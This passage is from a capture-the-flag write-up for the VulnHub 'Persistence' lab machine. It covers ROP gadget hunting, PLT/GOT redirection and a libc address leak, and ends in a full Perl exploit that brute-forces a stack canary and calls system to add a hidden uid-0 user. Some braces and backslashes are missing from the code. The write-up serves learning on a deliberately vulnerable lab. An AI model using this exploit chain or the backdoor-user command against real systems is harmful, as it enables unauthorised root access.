    0xf7e5c000 0xf7e5d000     0x1000          0        
    0xf7e5d000 0xf7fba000   0x15d000          0                             /lib32/libc-2.13.so
    0xf7fba000 0xf7fbb000     0x1000   0x15d000                             /lib32/libc-2.13.so
    0xf7fbb000 0xf7fbd000     0x2000   0x15d000                             /lib32/libc-2.13.so
    0xf7fbd000 0xf7fbe000     0x1000   0x15f000                             /lib32/libc-2.13.so
    0xf7fbe000 0xf7fc2000     0x4000          0        
    0xf7fdd000 0xf7fdf000     0x2000          0        
    0xf7fdf000 0xf7fe0000     0x1000          0                                   [vdso]
    0xf7fe0000 0xf7ffc000    0x1c000          0                             /lib32/ld-2.13.so
    0xf7ffc000 0xf7ffd000     0x1000    0x1c000                             /lib32/ld-2.13.so
    0xf7ffd000 0xf7ffe000     0x1000    0x1d000                             /lib32/ld-2.13.so
    0xfffdd000 0xffffe000    0x21000          0                                   [stack]

Next, find all POP EBX instructions (0x5b) and then find one that is part of a chain of three.

gdb-peda$ searchmem "0x5b" 0x8048000 0x804b000
Searching for '0x5b' in range: 0x8048000 - 0x804b000
Found 32 results, display max 32 items:
wopr : 0x8048538 (<_init+12>:    pop    ebx)
wopr : 0x8048559 (<_init+45>:    pop    ebx)
wopr : 0x8048743 (<__do_global_dtors_aux+83>:    pop    ebx)
wopr : 0x8048bb5 (<__libc_csu_init+85>:    pop    ebx)
wopr : 0x8048bd9 (<__do_global_ctors_aux+25>:    pop    ebx)
wopr : 0x8048be8 (<__do_global_ctors_aux+40>:    pop    ebx)
wopr : 0x8048bf8 (<_fini+12>:    pop    ebx)
wopr : 0x8048c05 (<_fini+25>:    pop    ebx)
wopr : 0x8048c14 ("[+] yeah, I don't think son")
wopr : 0x8048c47 ("[+] bind complete")
wopr : 0x8048c70 ("[+] waiting for connections")
wopr : 0x8048c8c ("[+] logging queries to $TMPLOG")
wopr : 0x8048cb2 ("[+] got a connection")
wopr : 0x8048cc8 ("[+] hello, my name is sploitablen")
wopr : 0x8048cec ("[+] would you like to play a game?n")
wopr : 0x8048d13 ("[+] bye!n")
wopr : 0x8049538 --> 0xbcc3815b
wopr : 0x8049559 --> 0xffc3c95b
wopr : 0x8049743 --> 0x8dc35d5b
wopr : 0x8049bb5 ("[^_]Ë34$Ð220U211345S215d$3742412423704b203370377t222732423704b220215[374377Ћ03203370377u364215d$04[]ÐU211345S203354", <incomplete sequence 350>)
wopr : 0x8049bd9 --> 0xd0fffc5b
wopr : 0x8049be8 --> 0x90c35d5b
wopr : 0x8049bf8 --> 0xfcc3815b
wopr : 0x8049c05 --> 0x3c3c95b
gdb-peda$ x/4i 0x8048538
   0x8048538 <_init+12>:    pop    ebx
   0x8048539 <_init+13>:    add    ebx,0x1abc
   0x804853f <_init+19>:    mov    edx,DWORD PTR [ebx-0x4]
   0x8048545 <_init+25>:    test   edx,edx
gdb-peda$ x/4i 0x8048559
   0x8048559 <_init+45>:    pop    ebx
   0x804855a <_init+46>:    leave  
   0x804855b <_init+47>:    ret    
   0x804855c:    push   DWORD PTR ds:0x8049ff8
gdb-peda$ x/4i 0x8048743
   0x8048743 <__do_global_dtors_aux+83>:    pop    ebx
   0x8048744 <__do_global_dtors_aux+84>:    pop    ebp
   0x8048745 <__do_global_dtors_aux+85>:    ret    
   0x8048746 <__do_global_dtors_aux+86>:    lea    esi,[esi+0x0]
gdb-peda$ x/4i 0x8048bb5
   0x8048bb5 <__libc_csu_init+85>:    pop    ebx
   0x8048bb6 <__libc_csu_init+86>:    pop    esi
   0x8048bb7 <__libc_csu_init+87>:    pop    edi
   0x8048bb8 <__libc_csu_init+88>:    pop    ebp
gdb-peda$ x/5i 0x8048bb5
   0x8048bb5 <__libc_csu_init+85>:	pop    ebx
   0x8048bb6 <__libc_csu_init+86>:	pop    esi
   0x8048bb7 <__libc_csu_init+87>:	pop    edi
   0x8048bb8 <__libc_csu_init+88>:	pop    ebp
   0x8048bb9 <__libc_csu_init+89>:	ret

DISCO! 0x8048bb6 contains a required POPx3, RET sequence.

Get constant function addresses

We can query function addresses in gdb. Anything in the range 0x8048000:0x804b000 can be reliably called across systems. These addresses are mostly short functions in the Procedure Linkage Table that redirect to the real shared function-locations in memory.

gdb-peda$ info functions
All defined functions:

Non-debugging symbols:
0x0804852c  _init
0x0804856c  __errno_location
0x0804856c  __errno_location@plt
0x0804857c  __gmon_start__
0x0804857c  __gmon_start__@plt
0x0804858c  write
0x0804858c  write@plt
0x0804859c  listen
0x0804859c  listen@plt
0x080485ac  memset
0x080485ac  memset@plt
0x080485bc  __libc_start_main
0x080485bc  __libc_start_main@plt
0x080485cc  htons
0x080485cc  htons@plt
0x080485dc  read
0x080485dc  read@plt
0x080485ec  perror
0x080485ec  perror@plt
0x080485fc  accept
0x080485fc  accept@plt
0x0804860c  socket
0x0804860c  socket@plt
0x0804861c  memcpy
0x0804861c  memcpy@plt
0x0804862c  waitpid
0x0804862c  waitpid@plt
0x0804863c  bind
0x0804863c  bind@plt
0x0804864c  close
0x0804864c  close@plt
0x0804865c  __stack_chk_fail
0x0804865c  __stack_chk_fail@plt
0x0804866c  puts
0x0804866c  puts@plt
0x0804867c  fork
0x0804867c  fork@plt
0x0804868c  setsockopt
0x0804868c  setsockopt@plt
0x0804869c  setenv
0x0804869c  setenv@plt
0x080486ac  exit
0x080486ac  exit@plt
0x080486c0  _start
0x080486f0  __do_global_dtors_aux
0x08048750  frame_dummy
0x08048774  get_reply
0x080487de  main
0x08048b50  __libc_csu_fini
0x08048b60  __libc_csu_init
0x08048bba  __i686.get_pc_thunk.bx
0x08048bc0  __do_global_ctors_aux
0x08048bec  _fini
<snip />

 Understanding PLT/GOT redirection

Take for example function write (0x0804858c).

gdb-peda$ x/3i 0x0804858c
   0x804858c <write@plt>:    jmp    DWORD PTR ds:0x804a008
   0x8048592 <write@plt+6>:    push   0x10
   0x8048597 <write@plt+11>:    jmp    0x804855c

This is just a PLT skeleton that jumps to an address contained in 0x804a008…

gdb-peda$ x/xw 0x804a008
0x804a008 <write@got.plt>:    0xf7f269e0

i.e. the constant addresses of functions in the PLT table are used to redirect to the dynamic addresses of the libc functions in shared memory. 0xf7f269e0 is the address I get for the write function, but not for Persistance, or any other machine.

Shared memory base and offset locations

Final trick…

If you can get a program to leak the dynamic memory address of a libc function that we do have the PLT/GOT addresses of (e.g. write), then we can also get the dynamic memory address of any other function in that library.

By way of example, let’s pretend that in the last section, the dynamic address of write@got.plt (0xf7f269e0) has been leaked and not stolen through debugging. Now we want to discover the address of another function, say, system.

To do so, simply dump the address offsets from the library and calculate.

root@worry:~/persistence# find / -name "libc.so.6"
root@worry:~/persistence# objdump -T /lib32/libc.so.6 | grep " write"
000d1090  w   DF .text    000000aa  GLIBC_2.0   writev
000c99e0  w   DF .text    0000007a  GLIBC_2.0   write
root@worry:~/persistence# objdump -T /lib32/libc.so.6 | grep " system"
0003be40  w   DF .text    0000007d  GLIBC_2.0   system

The dynamic address of write, minus the offset address of write (0xf7f269e0 – 0x000c99e0) is 0xf7e5d000, which is the libc base address in memory.

The dynamic address of system, therefore, is 0xf7e5d000 + 0x0003be40 = 0xf7e98e40.

This can be confirmed in testing with gdb:

gdb-peda$ x/2xi 0xf7e98e40
   0xf7e98e40 <system>:    sub    esp,0xc
   0xf7e98e43 <system+3>:    mov    DWORD PTR [esp+0x4],esi

Leaking memory addresses

Since I want to run system and possibly strcpy , I need to find their address, but they are not in the PLT of wopr.

I start by trying to find the address of another function that is, e.g. write. I really need to be able to leak that information out of the process. To do so, I would utilise a call to write, and copy the address contained in write‘s PLT pointer over the TCP connection.

I already have the addresses of some POP instructions, and also write, and exit functions:

  • POP, POP, RET: 0x08048743
  • POP,POP,POP,RET: 0x08048bb6
  • write@plt: 0x0804858c
  • write@got.plt: 0x0804a008

I next find the offsets of functions in libc on Persistence:

bash-4.1$ find / -iname "libc.so.6" 2> /dev/null
bash-4.1$ objdump -T /lib/libc.so.6 | grep " write"
000da1b0  w   DF .text    000000aa  GLIBC_2.0   writev
000d2920  w   DF .text    0000007a  GLIBC_2.0   write
bash-4.1$ objdump -T /lib/libc.so.6 | grep " system"
0003b210  w   DF .text    0000007d  GLIBC_2.0   system
bash-4.1$ objdump -T /lib/libc.so.6 | grep " strcpy"
000796d0 g    DF .text    00000020  GLIBC_2.0   strcpy

I added the following block to my canary cracking script from earlier:

my $ppr = "x43x87x04x08";
my $pppr = "xb6x8bx04x08";
my $write = "x8cx85x04x08";
my $exit = "xacx86x04x08";
my $writeGOT = "x08xa0x04x08";
my $response = reverse(substr(join('', send_data(
 "A" x $length . join('', @canary). "xe8xdcxb9xff" # SFP
 . $write . $exit . "x04x00x00x00" . $writeGOT . "x04x00x00x00"
 )), -4));

my $writehex = "";
($writehex .= "$_") for unpack "(H2)*", $response;
my $libc_offset = hex($writehex) - hex("0xd2920");
# And now we can get the address of system, strcpy.
my $system = $libc_offset + hex("0x3b210");
my $strcpy = $libc_offset + hex("0x796d0");

printf("system: %08xn", $system);
printf("strcpy: %08xn", $strcpy);

This outputs the addresses of these functions as they appear in Persistence’s memory:

system: 0016c210
strcpy: 001aa6d0

Building a successful payload

On the home stretch, I thought about building an attack with multiple calls to strcpy. In one arbitrary memory I would copy the characters I want system to execute (e.g. filling it with the string “/usr/sbin/useradd -o -u 0 -p 64B0X1YfSO9v2 bobx00” which will create a superuser with credentials bob:bob).

However, finding all of these characters in the address range 0x8048000:0x804b000 is not guaranteed. It’s also very time consuming. And it turns out to be infeasible as there are 47 bytes, and therefore 47 functions calls required (over the 29 maximum provided by the buffer overflow length).

A more reliable and quicker option is to use the TCP connection that is already open and send data over that…

I updated my send_data Perl function to accept a second request parameter that would be sent after a short time after the first. (i.e. the request should not be swallowed up as part of wopr’s legitimate and only call to read, where it will consume up to 512 bytes. A short delay means it is will not be consumed and will be waiting for my own injected read call.)

Without further ado, here is the final script which I proceeded to run on Persistence, now very much defeated:


use strict;
use warnings;
use IO::Socket::INET;
use Time::HiRes qw(usleep);

sub send_data
    my $connection = new IO::Socket::INET (
        PeerHost => '',
        PeerPort => '3333',
        Proto => 'tcp',
    die "Can't connect.n" unless $connection;
    my $request = shift();
    my $sleep = shift();
    my $request2 = shift();
    if (defined($sleep) && $sleep)
    if (defined($request2))
        # Short sleep so that second request will not be swallowed up into the buffer overflow.
    my @response = <$connection>;
    return @response;

sub caused_crash
    return join("n", @_) !~ m/bye/;

# Find length of buffer up to canary.

my $broken = 0;
my $length = 30;

while (!$broken)

    my $connection = new IO::Socket::INET (
        PeerHost => '',
        PeerPort => '3333',
        Proto => 'tcp',
    die "Can't connect.n" unless $connection;

    my @response = send_data("A" x $length);

    if (caused_crash(@response))
        $broken = 1;

printf("Safe buffer length discovered to be: %dn", $length);

# Crack canary value

my @canary = ();
my $teststr = "A" x $length;

while (scalar(@canary) < 4)
    for (my $testbyte = 0; $testbyte < 256; $testbyte++)
        if (!caused_crash(send_data($teststr . chr($testbyte))))
            push(@canary, chr($testbyte));
            $teststr .= chr($testbyte);
            printf("Byte %d of canary found: \x%02xn", scalar(@canary), $testbyte);
        elsif ($testbyte == 255)
            die("Failed to find canary value!n");

print("All four bytes of canary found.n");

my $ppr = "xe8x8bx04x08";
my $pppr = "xb6x8bx04x08";
my $exit = "xacx86x04x08";
my $read = "xdcx85x04x08";

my $execstr = "x58xa0x04x08"; # Address of bss section of wopr
my $systemGOT = "x40x8exe9xf7";
"A" x $length . join('', @canary). "xe8xdcxb9xff" # SFP
 . $read      . $pppr . "x04x00x00x00" . $execstr . "x2fx00x00x00" # Bytes to read
 . $systemGOT . $exit . $execstr,
0, # No pause for debugger required
"/usr/sbin/useradd -o -u 0 -p 64B0X1YfSO9v2 bobx00"); # Command to be executed


root@worry:~/persistence# ssh bob@
bob@'s password:
Last login: Thu Aug 21 18:36:33 2014
[root@persistence ~]# cat /root/flag.txt
              .d8888b.  .d8888b. 888    
             d88P  Y88bd88P  Y88b888    
             888    888888    888888    
888  888  888888    888888    888888888
888  888  888888    888888    888888    
888  888  888888    888888    888888    
Y88b 888 d88PY88b  d88PY88b  d88PY88b.  
 "Y8888888P"  "Y8888P"  "Y8888P"  "Y888

Congratulations!!! You have the flag!

We had a great time coming up with the
challenges for this boot2root, and we
hope that you enjoyed overcoming them.

Special thanks goes out to @VulnHub for
hosting Persistence for us, and to
@recrudesce for testing and providing
valuable feedback!

Until next time,
      sagi- & superkojiman
[root@persistence ~]#


If you’ve read this far through my rather unwieldy post, then you deserve an award for persistence yourself! Whatever reason you read this – whether its a fast solution for Persistence, a desire to understand some of the tricks required on this challenge, or just a curiosity about how I waste my spare time – I hope that you enjoyed it.

Some of the things I learned from the Persistence challenge:

  • Realisation that some of the weirder ideas I have (e.g. sending data through ICMP) aren’t that weird in fact
  • That not only are these ideas possible but I can do them confidently when I try
  • Having to think outside the box can be very frustrating at times, but it is then so much more rewarding when a solution is found
  • I learned a lot more this month about assembly than I did in my University classes on the topic. Thanks very much to the creators.
  • Everything builds on top of something else. I couldn’t have done this if I hadn’t first done OSCP, and read Hacking. And the skills I learned on this will be crucial for something else in the future

I hope this is of some use for anyone that finds it. If you have any questions, suggestions, or corrections,  please feel free to leave me a comment and I will try my best to respond or update my post as soon as I can.